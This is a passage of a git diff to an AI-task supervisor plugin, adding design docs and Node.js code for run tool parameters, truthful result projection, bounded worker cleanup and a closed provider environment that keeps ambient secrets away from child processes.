loaded, bound, and persisted at submit; later catalog +mutation cannot change assignment resolution. + +`wait_until: "decision_or_attention"` performs a bounded wait +(`wait_ms` 0 is a snapshot; omit follows the MCP pending-call budget). +It wakes only on attention or terminal lane decisions, keeps the last +lane cursor, and never replays. Model-facing receipts recursively strip +owner-only `raw` / `bytes` / `secret` evidence. Attention items are +validated before any scheduler resume. + +## API + +- `classifyRunToolCall(tool, args)` — pure; `legacy` or `run` +- `createRunToolAdapter({ runtime, attention?, projectLaneTask?, classifyLaneTask?, rememberSubmitContext? })` +- `createDurableRunSeams({ root, delegateTask, inspectTask, cancelTask, settleLocalTaskLifecycle, cleanupLocalTaskLifecycle, clock? })` +- `createInProcessRunSeams({ delegateTask, inspectTask, cancelTask, settleLocalTaskLifecycle, cleanupLocalTaskLifecycle, clock? })` +- `describeRunToolAdapterV1()` +- `denyRunToolRemoteMutationV1(operation)` + +## Testing + +``` +node --no-warnings --test test/r1-run-tool-adapter.test.mjs \ + test/r1-run-tool-adapter-adversarial.test.mjs \ + test/v3-server.test.mjs \ + test/v3-supervisor.test.mjs +``` diff --git a/docs/selection-persistence.md b/docs/selection-persistence.md new file mode 100644 index 0000000..459a3da --- /dev/null +++ b/docs/selection-persistence.md @@ -0,0 +1,80 @@ +# Ask-once selection persistence (P27) + +P27 is the closed pre-dispatch facade that persists one provider/model +selection question batch and accepts one complete structured reply. It sits +on accepted P05 resolution, the accepted R24A aggregate run anchor, and the +accepted R25B aggregate binding. It does not launch providers, open +workspaces, append P25 journal events, or emit P33 `AttentionBatchV1`. + +## Boundary + +- Inputs are a trusted `openAggregateRunAnchor(...)` handle plus strict + direct-JSON immutable `manifest`, optional `profiles`, `availability`, + `capabilities`, and `RunIdentityV1`. +- The run must already exist at R24A `submitted@0`. P27 never submits a + run and never calls `commitResolvedPlan`. +- Direct-plan / no-question runs fail with typed `no_selection_required`. +- The derived `SelectionRequestV1` is the only persisted question. Assignment + prompt prose is not copied into storage. The returned question is + presentation data for Codex, not a runtime attention event. +- Crash and restart recompute P05 from the same immutable inputs and reuse + only durable R24A records. + +## Persist one question batch + +`persistSelectionQuestionBatch(options)`: + +1. Derives the exact P05 plan through `resolveRunSelectionV1`. +2. Requires an incomplete plan with one nonempty `SelectionRequestV1` of at + most eight questions, then validates it with `validateSelectionRequestV1` + / `selectionRequestIdentity`. +3. Checks the durable run identity against the supplied identity. +4. Persists exactly that record at `submitted@0` through + `commitSelectionRequest` with the exact `run_id` / `request_id` / digest + triple. + +The first call returns `created: true`. An exact replay returns +`created: false` with a byte- and digest-identical question batch and no +revision growth. A different or stale manifest, snapshot, or request at the +same run fails closed. P27 never generates a second batch. + +## Accept one structured reply + +`acceptSelectionReply(options)`: + +1. Re-derives the same outstanding request from the immutable P05 inputs. +2. Reads durable coordination first. The question must already be + `awaiting_selection@1` with that exact binding; the reply path never + creates the question. +3. Validates a dense plain JSON answer array: exactly one answer per + question, no missing, extra, duplicate, or partial rows, and exact + provider/model scope against the currently supplied availability and + capability snapshots. +4. Re-resolves through `resolveSelectionAnswersV1` and requires a complete + plan with unchanged snapshot digests. +5. Persists exactly one reply plus resolution through + `commitSelectionResolution` at expected revision 1. + +An identical reply replay is `created: false` and returns the same completed +in-memory plan and aggregate binding. Any different, stale, partial, or +duplicate reply during or after settlement fails closed with no mutation. + +## Receipt + +After a successful or identical resolution P27 calls accepted R25B +`bindAggregateResolution` and requires `resolution_ready` revision 2 before +returning. The receipt is detached and deeply frozen. It carries run and +request identity, digests, `disposition`, `created`, the completed in-memory +plan, and the aggregate binding. It never includes raw filesystem paths or +secrets. + +Concurrent identical persist or reply calls converge to one durable record. +Concurrent different replies yield one winner and a deterministic typed +loser. + +## Non-goals + +- No provider, supervisor, workspace, or server transport. +- No P25 event kind, reducer, state, or cursor change. +- No P33 attention batch, sidecar, root adoption, or migration. +- No scheduler or public MCP API change. diff --git a/docs/supervisor-result-truthfulness.md b/docs/supervisor-result-truthfulness.md new file mode 100644 index 0000000..c55bf25 --- /dev/null +++ b/docs/supervisor-result-truthfulness.md @@ -0,0 +1,87 @@ +# Supervisor result truthfulness + +The supervisor projects stored `codex-co-engineer.task.v1` receipts into +public status, task, tasks, and cancel results. One deterministic +terminal-receipt classifier sits at that projection seam, immediately +before `publicState` mapping. Later run runtime may consume the same +classifier; this slice does not cut over run orchestration. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/supervisor.mjs` +- `plugins/codex-co-engineer/test/v3-supervisor.test.mjs` +- `plugins/codex-co-engineer/test/r1-supervisor-result-truthfulness.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-supervisor-result-truthfulness-fixtures.mjs` +- this document + +## Projection seam + +`classifySupervisorTerminalReceipt(task)` inspects a stored receipt and +returns a frozen classification: + +| Field | Meaning | +| --- | --- | +| `stored_status` | The receipt's stored status, unmodified | +| `projected_status` | Stored-vocabulary status to feed `publicState` | +| `public_state` | `publicState(projected_status)` | +| `corrected` | True only when a completed success claim is demonstrably false | +| `reason` / `error` | Bounded content-free false-success reason, or null | + +`projectSupervisorTerminalReceipt` overlays `projected_status` and the +bounded reason onto the in-memory receipt used by status, task, tasks, and +cancel. It does not call `updateTask`, rewrite `task.json`, or migrate +schema `codex-co-engineer.task.v1` stored bytes. + +Public `state` is still produced by `publicState` after classification. +The classifier never introduces a sixth tool, a new stored status, or a +new public state. + +## Vocabularies + +Stored status remains: + +`completed`, `failed`, `cancelled`, `timeout`, `environment_blocked`, +`transport_lost`, `needs_attention`, `accepted`, `starting`, `running`, +`cancelling`. + +Public state remains: + +`succeeded`, `failed`, `cancelled`, `timed_out`, `environment_blocked`, +`transport_lost`, `needs_attention`, `accepted`, `starting`, `running`, +`cancelling`. + +`succeeded` is projected only for `completed` receipts that carry neither +an explicit terminal error envelope nor a whole-result terminal +transport/provider error. A demonstrable false-success projects +`projected_status=failed` / `state=failed` with reason +`completed_with_terminal_error`. The reason never echoes provider text, +paths, URLs, or secrets. + +`transport_lost` stays nonterminal reconciliation uncertainty. The +classifier does not promote it to `failed` or any stored terminal status. + +## Authoritative false-success + +A zero-work terminal `RetriableError [unavailable] PING timed out` stored +as `completed` is the authoritative counterexample. Whether that failure +arrives as `task.error` or as the whole `task.result`, the projection +must not report `state=succeeded`. A successful result that merely quotes +the phrase in a larger transcript remains `succeeded`. + +## 3.2.1 shapes + +Legacy omitted-mode `supervisorStatus(root)` keeps the 3.2.1 key set: +`version`, `healthy`, `active`, `providers`, `capabilities`, +`mcp_pending_call`, `local_boundary`, `readiness`, `tasks`. Compact +`include_tasks: false` still returns an empty `tasks` window and does not +construct omitted full receipts. Response-mode and server/tool wrappers +are unchanged. + +## Non-claims + +This slice does not rewrite stored bytes, migrate task schema, change +provider adapters, dispatch policy, P31 run orchestration, P32 run API, +P34 attention batching, the MCP server, tool catalog, Gate A, version, or +release. It does not mutate remotes, push, rebase, merge, tag, or open a +PR. Worker remote mutation remains denied by the accepted credential +boundary. diff --git a/docs/terminal-boundary-lifecycle.md b/docs/terminal-boundary-lifecycle.md new file mode 100644 index 0000000..f6b47ab --- /dev/null +++ b/docs/terminal-boundary-lifecycle.md @@ -0,0 +1,77 @@ +# Terminal boundary lifecycle + +Local worker finality is not the provider receipt. A stored +`completed`/`failed`/`cancelled`/`timeout`/`environment_blocked` status is a +candidate outcome. Model-facing finality requires exact systemd/cgroup proof +and, for managed worktrees, an identity-bound lock disposition. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/process-boundary.mjs` +- `plugins/codex-co-engineer/mcp/v3/supervisor.mjs` +- `plugins/codex-co-engineer/test/v3-process-boundary.test.mjs` +- `plugins/codex-co-engineer/test/v3-supervisor.test.mjs` +- `plugins/codex-co-engineer/test/r1-terminal-boundary-lifecycle.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-terminal-boundary-lifecycle-fixtures.mjs` +- this document + +## Exports + +`settleLocalTaskLifecycle(root, task, runtime, dependencies)` and +`cleanupLocalTaskLifecycle(root, task, runtime, dependencies)` return the same +frozen `LocalTaskLifecycleV1` object: + +`version`, `task_id`, `stored_status`, `projected_status`, `public_state`, +`final`, `cleanup`, `boundary`, `lock`, `reason`. + +`cleanupLocalTaskLifecycle` is the idempotent form of settlement. Neither +export deletes a worktree, branch, or evidence file. + +## Tri-state boundary + +Exact systemd user-unit generation plus unified cgroup v2 is the authority. +Namespace-relative `/proc` or WTB `health.state=abandoned` is never death +proof. + +| State | Meaning | +| --- | --- | +| `inactive_empty` | Exact unit absent and exact cgroup path absent, or exact generation inactive with `populated 0` | +| `active` | Exact generation `active`/`activating`/`deactivating`, `populated 1`, and complete task-owned membership | +| `unknown` | Inspection unavailable, identity mismatch, incomplete PID/member visibility, or contradictory evidence | + +Unknown refuses stop and lock cleanup. An identity mismatch never addresses +another task's unit. + +## Settlement + +For a stored-terminal local task with a process-boundary receipt: + +1. Wait the drain grace. +2. Inspect the exact unit and cgroup. +3. If still `active` and identities match, snapshot Git and unrelated + Co-Engineer units, then `systemctl --user stop` only that unit. Never kill + an individual PID. +4. Prove `inactive_empty`, unchanged Git identity, and unchanged unrelated + units. +5. Allow the wrapper to release its lock. If the exact lock remains, invoke + supported `dead-local` cleanup only after that proof and exact lock + identity. Never edit or delete a lock file. + +`cleanup.status` is `normal` for a natural drain and `recovered` after an +authorized exact stop. Repeated settlement of `normal`/`recovered` performs no +further stop or lock clean. + +## Projection + +Accepted R-TRUTH classification runs only after lifecycle finality. While +cleanup is `pending`, `unknown`, or `failed`, public projection uses existing +`transport_lost` vocabulary and omits `result`, `handoff`, `stop_reason`, and +`finished_at`. Stored `codex-co-engineer.task.v1` bytes keep their original +terminal status; cleanup is optional and additive. Pre-contract receipts +without a local boundary stay on the R-TRUTH seam with no backfill. + +## Tests + +T1–T7 and both Wave25B live-cgroup/held-lock incidents are reproduced in +`r1-terminal-boundary-lifecycle.test.mjs`. Gate A remains ineligible until +those tests and independent review pass on the host boundary. diff --git a/docs/terminal-worker-exit.md b/docs/terminal-worker-exit.md new file mode 100644 index 0000000..389dd0c --- /dev/null +++ b/docs/terminal-worker-exit.md @@ -0,0 +1,82 @@ +# Terminal worker exit + +The ACP worker is the Wave26 lifecycle worker-exit seam. Provider terminal +evidence is a candidate outcome, not model finality. This slice closes +retained ACP and child resources, attempts a bounded WTB handoff while the +sole-writer lock is still held, records that attempt as cleanup evidence, +emits terminal stdout only after that evidence exists, and then exits. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/acp-worker.mjs` +- `plugins/codex-co-engineer/test/v3-acp-worker.test.mjs` +- `plugins/codex-co-engineer/test/r1-terminal-worker-exit.test.mjs` +- `plugins/codex-co-engineer/test/r1-terminal-worker-exit-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-terminal-worker-exit-fixtures.mjs` +- this document + +This slice does not own process-boundary inspection, supervisor projection, +P33 run runtime, the MCP server, or the task store. + +## Ordering + +1. Let the provider turn, CLI fallback, or DSH flow settle. Do not start a + new prompt. Existing pre-dispatch CLI fallback remains allowed only before + authoritative prompt dispatch. +2. Close retained ACP stdio clients with `discardPersistentState=false`, + stop deadline watchers, and terminate retained child trees. Bound: 3s. + Session identity is preserved; `session/close` is not sent. +3. Attempt a bounded WTB `handoff` while `WORKTREE_BOOTSTRAP_TASK` is set. + Bound: 5s. Missing task name is `not_applicable`. +4. Persist the existing stored status/result together with + `cleanup.status=pending` and a content-free close/handoff code if the + attempt failed. Append terminal and cleanup events. +5. Write `{ task_id, status }` to stdout only after that cleanup record + exists. Incident receipts with `finished_at` and no cleanup are refused. +6. Exit immediately, with a 1s watchdog `process.exit` if the event loop + remains occupied by a cancelled close. + +## Bounds + +| Bound | Value | +| --- | --- | +| ACP / child resource close | 3000 ms | +| WTB handoff | 5000 ms | +| Post-terminal worker exit | 1000 ms | + +Timeout or close failure is retained as content-free cleanup evidence. It +never enables replay, fallback, or redispatch. Success, provider failure, +cancellation, timeout, transport loss, handoff, and DSH ACPX dispatch +uncertainty keep their existing stored statuses. + +## Cleanup record + +Additive `task.cleanup` on existing `codex-co-engineer.task.v1` bytes: + +| Field | Values | +| --- | --- | +| status | `pending` (this slice never claims `normal` or `recovered`) | +| acp_close | `closed`, `timeout`, `failed`, `not_applicable` | +| wtb_handoff | `recorded`, `timeout`, `failed`, `not_applicable` | +| code | `acp_resource_close_timeout`, `acp_resource_close_failed`, `worker_exit_timeout`, `lock_release_unproven`, `lock_cleanup_refused`, `cleanup_failed` | + +Codes and messages never echo provider output, credentials, paths, or +transcripts. Supervisor lifecycle settlement remains responsible for proving +the exact systemd/cgroup boundary empty and for projecting final public +state. + +## Incidents + +Two real-host occurrences stored a `completed` receipt with `finished_at` +while `acp-worker.mjs` and the WTB wrapper were still in a populated task +cgroup. At this seam that is `workerSeamIncident`: a stored terminal status +and `finished_at` without recorded cleanup. The worker now refuses terminal +stdout for that shape and persists cleanup only after a bounded close +attempt. + +## Non-claims + +This slice does not inspect `/proc`, systemd, or cgroupfs; stop units; clean +WTB locks; rewrite accepted Wave25B/P34/R-TRUTH bytes; add a sixth tool; +migrate task schema; change version 3.2.1; or mutate remotes, protected +refs, tags, or releases. Worker remote mutation remains denied. diff --git a/docs/threat-model.md b/docs/threat-model.md index 11e38ca..f31e906 100644 --- a/docs/threat-model.md +++ b/docs/threat-model.md @@ -102,9 +102,15 @@ Verification lanes are read-only. Profiles are data-only and must not carry executable catalogs. Owner-maintained `VerificationPolicyV1` is the only executable command catalog those lanes may run. Codex may select only approved command IDs and permitted parameters; manifests carry those IDs -and parameters, never arbitrary executable argv. Provider-reported or -provider-requested commands are evidence or attention only and are never -automatically executed. A verifier may not: +and parameters, never arbitrary executable argv. The approved-command +resolver binds a closed Codex/owner selection to a frozen ExecutionIntent +receipt without executing. The constrained verification runner consumes +only a genuine immutable receipt plus trusted policy, executes that exact +command once in a disposable workspace, and fails closed on candidate +mutation, escaped descendants, output floods, timeouts, and cleanup +uncertainty. Provider-reported or provider-requested +commands are evidence or attention only and are never automatically +executed. A verifier may not: - invent commands outside the catalog; - install additional trust roots or mutate the workspace; diff --git a/plugins/codex-co-engineer/README.md b/plugins/codex-co-engineer/README.md index 33a6bf8..2fb6406 100644 --- a/plugins/codex-co-engineer/README.md +++ b/plugins/codex-co-engineer/README.md @@ -26,6 +26,14 @@ The MCP server exposes five tools: | `tasks` | List or keyset-page recent receipts, or wait on 1–8 exact tasks | | `cancel` | Stop one owned local process group or Cursor Cloud run | +The catalog is still those five tools. Bounded runs use additive +parameters (`run`, `run_id`, `attention`, `run_reply`, `cleanup`, and +`wait_until: "decision_or_attention"`) on the same tools. Omit them to +keep exact 3.2.1 single-task behavior. Run wait is a bounded +`decision_or_attention` wait; default production seams are durable +P33/P34 run/journal/attention authorities. See +[the run tool API](../../docs/run-tool-api.md). + `delegate` requires a stable `task_id`, a provider, an absolute Git worktree path in the property named `repo`, a prompt, and `expected_duration_ms` or a backwards-compatible `timeout_ms`. Providers are `grok`, `cursor-local`, diff --git a/plugins/codex-co-engineer/assets/acpx-runtime.manifest.json b/plugins/codex-co-engineer/assets/acpx-runtime.manifest.json index 05dce64..1c05936 100644 --- a/plugins/codex-co-engineer/assets/acpx-runtime.manifest.json +++ b/plugins/codex-co-engineer/assets/acpx-runtime.manifest.json @@ -1,7 +1,7 @@ { "schema": 1, "bundle": "acpx-runtime.mjs", - "bundle_sha512": "sha512-ipnkN2ObHqnkeiPrwldwab/c8xNrtWOUosRhJmG6a9n/UCyogHGt7xT4qMAd/CY2cGmZqErxarLGuEYHoO8f4A==", + "bundle_sha512": "sha512-oHmXuPyuANVAELH6oDXeRMBwpRs1YQaS5zkNdxhdM6zJ631oYrHuZqr9GRDQxkumWg1ilrY3Z5N3iXZgEkp9cg==", "exports": [ "createAcpRuntime", "createAgentRegistry", @@ -17,7 +17,7 @@ }, "hardening_overlay": { "path": "tools/acpx-vendor/src/hardening-overlay.mjs", - "sha512": "sha512-VwpKxtjVCj1byAoPmkxHUd9fiQk97DS71ZkpC2MqbdnU7Hi6m9TjmH2cj+G8WZJ7eZTHlSs+o2Oyl2EtQQl+7Q==", + "sha512": "sha512-tFYuL8nQhB2axnor7w47Lcpz5ZFFqqGVW0M0BIGZ6/zqhDdUfGjwvPzivCaGNEUKb5yQY7butYg83H0rPTw9Gw==", "application": "append_after_upstream_bundle" }, "bundled_packages": [ diff --git a/plugins/codex-co-engineer/assets/acpx-runtime.mjs b/plugins/codex-co-engineer/assets/acpx-runtime.mjs index 22c10fd..f9860ed 100644 --- a/plugins/codex-co-engineer/assets/acpx-runtime.mjs +++ b/plugins/codex-co-engineer/assets/acpx-runtime.mjs @@ -339,6 +339,35 @@ async function coEngineerWaitForAgentTree(child, waitMs) { } } +function coEngineerClosedAgentEnvironment(sessionEnv) { + const env = Object.create(null); + if (sessionEnv == null || typeof sessionEnv !== 'object' || Array.isArray(sessionEnv)) return env; + for (const key of Object.keys(sessionEnv)) { + const value = sessionEnv[key]; + if (typeof key !== 'string' || typeof value !== 'string' || key.includes('\0') || value.includes('\0')) continue; + env[key] = value; + } + return env; +} + +/* + * ACPX's upstream builder starts from process.env. Co-Engineer never lets + * ambient Git/SSH/hosting/parent secrets reach Grok or Cursor Local ACP + * children: the child environment is exactly the closed projection passed + * as sessionOptions.env, or empty when that projection is omitted. + */ +buildAgentEnvironment = function coEngineerBuildAgentEnvironment(_authCredentials, sessionEnv) { + return coEngineerClosedAgentEnvironment(sessionEnv); +}; + +AcpRuntimeManager.prototype.createClient = function coEngineerCreateClient(options) { + const next = { + ...options, + closedProviderEnv: options.closedProviderEnv ?? this.options?.closedProviderEnv, + }; + return this.deps.clientFactory?.(next) ?? new AcpClient(next); +}; + /* * ACP agents are detached into their own POSIX process group. Terminal * children spawned by an agent may use their own group, so we snapshot and @@ -348,6 +377,7 @@ AcpClient.prototype.spawnAgentProcess = async function coEngineerSpawnAgentProce const spawnCommand = buildAgentSpawnCommand(plan.spawnCommand, plan.args, process.platform); const spawnedChild = spawn(spawnCommand.command, spawnCommand.args, { ...plan.spawnOptions, + env: coEngineerClosedAgentEnvironment(this.options?.closedProviderEnv ?? this.options?.sessionOptions?.env), detached: process.platform !== 'win32', windowsVerbatimArguments: spawnCommand.windowsVerbatimArguments, }); diff --git a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs index f715105..90f3539 100644 --- a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs @@ -7,8 +7,24 @@ import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; +import { + applyClosedProviderTestInjection, + collectLaneSecrets, + denyWorkerRemoteMutation, + projectProviderEnvironment, + redactExactValues, +} from './credential-boundary.mjs'; +import { + collectCliProviderOutputV1, + contentFreeSinkFailureV1, + createLocalProviderResultCollectorV1, + localProviderResultIdentityFromTaskV1, + openLocalProviderArtifactStoreV1, + sinkLocalProviderResultV1, +} from './local-provider-result-sink.mjs'; import { recordNeedsAttention, replyDecision, waitForReply } from './mailbox.mjs'; import { boundedProviderResult, boundedProviderValue, createProviderResultAccumulator, providerCharCount } from './provider-result.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; import { appendTaskEvent, readPrompt, readRuntimeRecord, readTask, taskPaths, updateTask } from './task-store.mjs'; process.umask(0o077); @@ -34,6 +50,20 @@ const DEFAULT_DSH_MODEL = 'muse-spark-1.2-contributor'; const PROCESS_LIST_MAX_BUFFER = 4 * 1024 * 1024; const ACPX_TERMINATION_GRACE_MS = 1_000; const ACPX_TERMINATION_POLL_MS = 25; +export const ACP_RESOURCE_CLOSE_MS = 3_000; +export const WTB_HANDOFF_MS = 5_000; +export const WORKER_EXIT_MS = 1_000; +export const WORKER_CLEANUP_CODES = Object.freeze({ + ACP_RESOURCE_CLOSE_TIMEOUT: 'acp_resource_close_timeout', + ACP_RESOURCE_CLOSE_FAILED: 'acp_resource_close_failed', + WORKER_EXIT_TIMEOUT: 'worker_exit_timeout', + LOCK_RELEASE_UNPROVEN: 'lock_release_unproven', + LOCK_CLEANUP_REFUSED: 'lock_cleanup_refused', + CLEANUP_FAILED: 'cleanup_failed', +}); +const WORKER_CLEANUP_CODE_SET = new Set(Object.values(WORKER_CLEANUP_CODES)); +const ACP_CLOSE_STATES = new Set(['closed', 'timeout', 'failed', 'not_applicable']); +const WTB_HANDOFF_STATES = new Set(['recorded', 'timeout', 'failed', 'not_applicable']); const OMIT_EVENT_KEYS = new Set(['rawinput', 'rawoutput', 'content', 'availablecommands']); const SENSITIVE_EVENT_KEY = /(?:api[_-]?key|authorization|access[_-]?token|refresh[_-]?token|bearer|token|password|secret|cookie|credential|private[_-]?key)/iu; const TOKEN_PATTERNS = [ @@ -59,6 +89,290 @@ function fail(code, message) { throw new AcpWorkerError(code, message); } +export function contentFreeCleanupCode(code) { + const raw = typeof code === 'string' ? code : ''; + if (WORKER_CLEANUP_CODE_SET.has(raw)) return raw; + return WORKER_CLEANUP_CODES.CLEANUP_FAILED; +} + +export function workerSeamIncident(task) { + const terminal = ['completed', 'failed', 'cancelled', 'timeout', 'environment_blocked'].includes(task?.status); + const finished = typeof task?.finished_at === 'string' && task.finished_at.length > 0; + const closeRecorded = task?.cleanup?.status === 'pending' + || task?.cleanup?.status === 'normal' + || task?.cleanup?.status === 'recovered'; + return terminal === true && finished === true && closeRecorded !== true; +} + +export function composeWorkerCleanup(closeEvidence = {}, handoffEvidence = {}) { + const acpClose = ACP_CLOSE_STATES.has(closeEvidence?.acp_close) ? closeEvidence.acp_close : 'not_applicable'; + const wtbHandoff = WTB_HANDOFF_STATES.has(handoffEvidence?.wtb_handoff) + ? handoffEvidence.wtb_handoff + : 'not_applicable'; + const codes = []; + if (acpClose === 'timeout') codes.push(WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + else if (acpClose === 'failed') codes.push(WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_FAILED); + if (wtbHandoff === 'timeout') codes.push(WORKER_CLEANUP_CODES.LOCK_RELEASE_UNPROVEN); + else if (wtbHandoff === 'failed') codes.push(WORKER_CLEANUP_CODES.CLEANUP_FAILED); + if (Array.isArray(closeEvidence?.codes)) { + for (const code of closeEvidence.codes) { + const safe = contentFreeCleanupCode(code); + if (!codes.includes(safe)) codes.push(safe); + } + } + if (handoffEvidence?.code) { + const safe = contentFreeCleanupCode(handoffEvidence.code); + if (!codes.includes(safe)) codes.push(safe); + } + const cleanup = { + status: 'pending', + acp_close: acpClose, + wtb_handoff: wtbHandoff, + }; + if (codes[0]) cleanup.code = codes[0]; + return Object.freeze(cleanup); +} + +export async function withBound(work, ms, code, message) { + const timeoutMs = Number.isFinite(ms) && ms >= 1 ? ms : 1; + let timer; + try { + return await Promise.race([ + Promise.resolve().then(() => (typeof work === 'function' ? work() : work)), + new Promise((_, reject) => { + timer = setTimeout(() => { + reject(new AcpWorkerError(code, message)); + }, timeoutMs); + }), + ]); + } finally { + clearTimeout(timer); + } +} + +export async function closeRetainedAcpResources({ + runtime = null, + handle = null, + child = null, + stopDeadline = null, + extraClosers = [], + timeoutMs = ACP_RESOURCE_CLOSE_MS, +} = {}) { + try { stopDeadline?.(); } catch { /* already closed */ } + if (Array.isArray(extraClosers)) { + for (const closer of extraClosers) { + try { closer?.(); } catch { /* already closed */ } + } + } + + let acpClose = 'not_applicable'; + const codes = []; + const mark = (state, code) => { + acpClose = state; + if (code && !codes.includes(code)) codes.push(code); + }; + + if (runtime && handle) { + mark('closed', null); + try { + await withBound( + () => runtime.close({ handle, reason: 'worker_exit', discardPersistentState: false }), + timeoutMs, + WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT, + 'ACP resource close exceeded 3s.', + ); + } catch (error) { + if (error?.code === WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT) { + mark('timeout', WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + } else { + mark('failed', WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_FAILED); + } + } + } + + if (child) { + if (acpClose === 'not_applicable') mark('closed', null); + try { + const stopped = await withBound( + () => Promise.resolve(requestChildTreeTermination(child)), + timeoutMs, + WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT, + 'Retained child tree close exceeded 3s.', + ); + if (stopped === false) mark('failed', WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_FAILED); + } catch (error) { + if (error?.code === WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT) { + mark('timeout', WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + } else { + mark('failed', WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_FAILED); + } + } + } + + try { + await secureAcpxSessions(); + } catch (error) { + if (error?.code !== 'ENOENT') { + if (acpClose === 'not_applicable') mark('failed', WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_FAILED); + } + } + + return Object.freeze({ + acp_close: acpClose, + codes: Object.freeze([...codes]), + }); +} + +export async function persistWorkerTerminal(root, taskId, patch, closeEvidence, handoffEvidence) { + const cleanup = composeWorkerCleanup(closeEvidence, handoffEvidence); + const nextPatch = { ...patch, cleanup }; + if (nextPatch.finished_at === undefined) nextPatch.finished_at = new Date().toISOString(); + const terminal = await updateTask(root, taskId, nextPatch); + await appendTaskEvent(root, taskId, { + type: 'terminal', + status: terminal.status, + ...(nextPatch.stop_reason !== undefined ? { stop_reason: nextPatch.stop_reason } : {}), + ...(nextPatch.error ? { error: nextPatch.error } : {}), + }).catch(() => {}); + await appendTaskEvent(root, taskId, { + type: 'cleanup', + status: cleanup.status, + acp_close: cleanup.acp_close, + wtb_handoff: cleanup.wtb_handoff, + ...(cleanup.code ? { code: cleanup.code } : {}), + }).catch(() => {}); + return terminal; +} + +export function emitWorkerTerminalStdout(task, write = (chunk) => process.stdout.write(chunk)) { + if (!plainObject(task) || typeof task.id !== 'string') { + fail(WORKER_CLEANUP_CODES.CLEANUP_FAILED, 'Terminal stdout requires a recorded task.'); + } + if (!plainObject(task.cleanup) || task.cleanup.status !== 'pending') { + fail(WORKER_CLEANUP_CODES.CLEANUP_FAILED, 'Terminal stdout requires recorded close evidence.'); + } + write(`${JSON.stringify({ task_id: task.id, status: task.status })}\n`); +} + +export function requestWorkerExit(code = 0, { + exitMs = WORKER_EXIT_MS, + exit = (value) => { process.exit(value); }, + setTimeoutFn = setTimeout, +} = {}) { + const timer = setTimeoutFn(() => { + exit(code); + }, Number.isFinite(exitMs) && exitMs >= 0 ? exitMs : WORKER_EXIT_MS); + try { timer.unref?.(); } catch { /* ignore */ } + exit(code); + return timer; +} + +export async function boundedWtbHandoff({ + root, + taskId, + env = process.env, + cwd = process.cwd(), + timeoutMs = WTB_HANDOFF_MS, + runFileImpl = runFile, +} = {}) { + const taskName = env?.WORKTREE_BOOTSTRAP_TASK; + if (typeof taskName !== 'string' || taskName.length === 0) { + return Object.freeze({ attempted: false, wtb_handoff: 'not_applicable' }); + } + const existing = await readTask(root, taskId).catch(() => ({ task: {} })); + const closeEvidence = { + acp_close: existing.task?.cleanup?.acp_close ?? 'not_applicable', + codes: existing.task?.cleanup?.code ? [existing.task.cleanup.code] : [], + }; + try { + const { stdout } = await withBound( + () => runFileImpl('worktree-bootstrap', [ + 'handoff', + taskName, + '--repo', + cwd, + '--format', + 'json', + ], { + encoding: 'utf8', + maxBuffer: 1024 * 1024, + timeout: timeoutMs, + killSignal: 'SIGKILL', + }), + timeoutMs, + WORKER_CLEANUP_CODES.LOCK_RELEASE_UNPROVEN, + 'WTB handoff exceeded 5s.', + ); + const handoff = JSON.parse(stdout); + if (!plainObject(handoff)) fail(WORKER_CLEANUP_CODES.CLEANUP_FAILED, 'WTB handoff was not an object.'); + const cleanup = composeWorkerCleanup(closeEvidence, { wtb_handoff: 'recorded' }); + const task = await updateTask(root, taskId, { handoff, cleanup }); + await appendTaskEvent(root, taskId, { + type: 'cleanup', + status: cleanup.status, + acp_close: cleanup.acp_close, + wtb_handoff: 'recorded', + }).catch(() => {}); + return Object.freeze({ attempted: true, wtb_handoff: 'recorded', task, handoff }); + } catch (error) { + const timedOut = error?.code === WORKER_CLEANUP_CODES.LOCK_RELEASE_UNPROVEN + || error?.code === 'ETIMEDOUT' + || error?.killed === true; + const wtbHandoff = timedOut ? 'timeout' : 'failed'; + const cleanup = composeWorkerCleanup(closeEvidence, { + wtb_handoff: wtbHandoff, + code: timedOut + ? WORKER_CLEANUP_CODES.LOCK_RELEASE_UNPROVEN + : WORKER_CLEANUP_CODES.CLEANUP_FAILED, + }); + const task = await updateTask(root, taskId, { cleanup }).catch(() => existing.task ?? null); + await appendTaskEvent(root, taskId, { + type: 'cleanup', + status: cleanup.status, + acp_close: cleanup.acp_close, + wtb_handoff: wtbHandoff, + code: cleanup.code, + }).catch(() => {}); + return Object.freeze({ + attempted: true, + wtb_handoff: wtbHandoff, + task, + code: cleanup.code, + }); + } +} + +export async function attachLocalProviderResultSink( + root, task, source, sourceTruncated = false, overflow = false, +) { + const identity = localProviderResultIdentityFromTaskV1(task); + if (identity == null) return task; + try { + if (task?.status !== 'completed') { + throw new RunContractV1Error('artifact_sink_not_published', 'sink', + 'The local provider result sink did not publish after provider terminal.'); + } + if (overflow === true) { + throw new RunContractV1Error('artifact_stream_over_cap', 'source', + 'The provider result exceeded the raw artifact class cap; nothing was published.'); + } + const store = await openLocalProviderArtifactStoreV1(root); + const receipt = await sinkLocalProviderResultV1(store, { + ...identity, + source, + source_truncated: sourceTruncated === true, + }); + return await 